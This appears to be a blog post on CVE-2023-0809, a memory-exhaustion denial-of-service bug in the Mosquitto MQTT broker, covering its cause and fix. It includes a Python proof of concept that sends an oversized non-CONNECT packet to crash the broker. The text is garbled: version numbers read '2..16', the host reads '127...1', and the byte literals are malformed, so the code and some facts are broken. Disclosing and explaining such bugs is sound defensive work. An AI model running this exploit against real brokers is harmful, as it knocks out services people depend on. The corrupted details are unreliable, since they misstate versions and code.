Mosquitto is one of the most popular MQTT brokers out there, trusted everywhere from smart homes to huge cloud applications. But sometimes, even mature software hits a rough spot. That’s what happened with CVE-2023-0809, a bug that let attackers cripple older Mosquitto servers just by sending a bad packet—no CONNECT needed.
Let’s break down what went wrong, check the exploit details, see it in code, and talk about fixes.
What Is Mosquitto?
Eclipse Mosquitto is an open source message broker that implements the MQTT protocol. It’s the central hub for lots of smart devices, and sits in the heart of many IoT setups, delivering messages between sensors and servers.
The Vulnerability: CVE-2023-0809 in Plain Terms
Before version 2..16, Mosquitto did not properly check the types of packets it received before allocating memory. A client could send an initial MQTT packet that was not a CONNECT packet (which is what an MQTT client is supposed to do to start a session).
Mosquitto tried to handle it anyway, allocating memory based on size fields in the packet—without checking if it was the right kind of packet, or if the size made sense. This means an attacker could send a packet with a big "remaining length" field and Mosquitto would trust it, allocating a ton of memory. If the attacker did this repeatedly, Mosquitto could consume all your server’s RAM and crash (DoS).
You can read the official advisory here
- GitHub Security Advisory
- NVD entry
> “Excessive memory is allocated based on malicious initial packets that are not CONNECT packets... This can be used to consume all available memory leading to a denial of service.”
Connect to Mosquitto’s TCP port (default 1883).
2. Send a non-CONNECT MQTT packet as your first packet. For example, a PUBLISH or SUBSCRIBE packet with a huge remaining length value.
Example Exploit in Python
Let’s see how you could do this with a few lines of Python. We’re not hacking here—just demonstrating what the bug looks like!
import socket
# Connect to a Mosquitto server (change host and port as needed)
host = '127...1'
port = 1883
# Build a fake SUBSCRIBE control packet as the initial packet instead of CONNECT.
# MQTT Fixed Header: x82 (SUBSCRIBE), Remaining Length: x7F, xFF, xFF, xFF (~2GB)
# This tricks Mosquitto into trying to allocate a LOT of RAM.
malicious_packet = bytes([
x82, # MQTT Control Packet Type (SUBSCRIBE), flags
xFF, xFF, xFF, x7F # Remaining Length (x7FFFFFFF, 2 GB)
# No actual payload. We're just aiming for the allocation!
])
with socket.create_connection((host, port)) as mqtt:
mqtt.sendall(malicious_packet)
print("Sent malicious packet")
Why Did This Happen?
According to the patch on GitHub, Mosquitto was missing a check at the very first step of client connection. It didn’t make sure new clients only sent CONNECT packets before processing further.
With this missing sanity check, an attacker could send garbage sized data, causing the broker to allocate memory for packets that should have just been dropped.
The Fix
After public disclosure, Mosquitto maintainers released version 2..16, which fixed the issue. Now, Mosquitto checks that the very first packet from any client is a proper CONNECT, and drops the connection if not.
If you’re running Mosquitto before 2..16, upgrade now!
More Resources
- Mosquitto MQTT Specification
- Mosquitto Security Advisories
Final Words
CVE-2023-0809 is a good reminder: even small oversights (like a missing packet type check) can have big consequences in network software. It’s a textbook memory allocation DoS, super easy to trigger, and trivial to weaponize.
If you run a public Mosquitto broker, you really need to update right away. And for everyone building IoT systems, remember—always put your broker behind strong firewalls or proxies, and keep things patched!
Timeline
Published on: 10/02/2023 19:15:09 UTC
Last modified on: 01/07/2024 10:15:08 UTC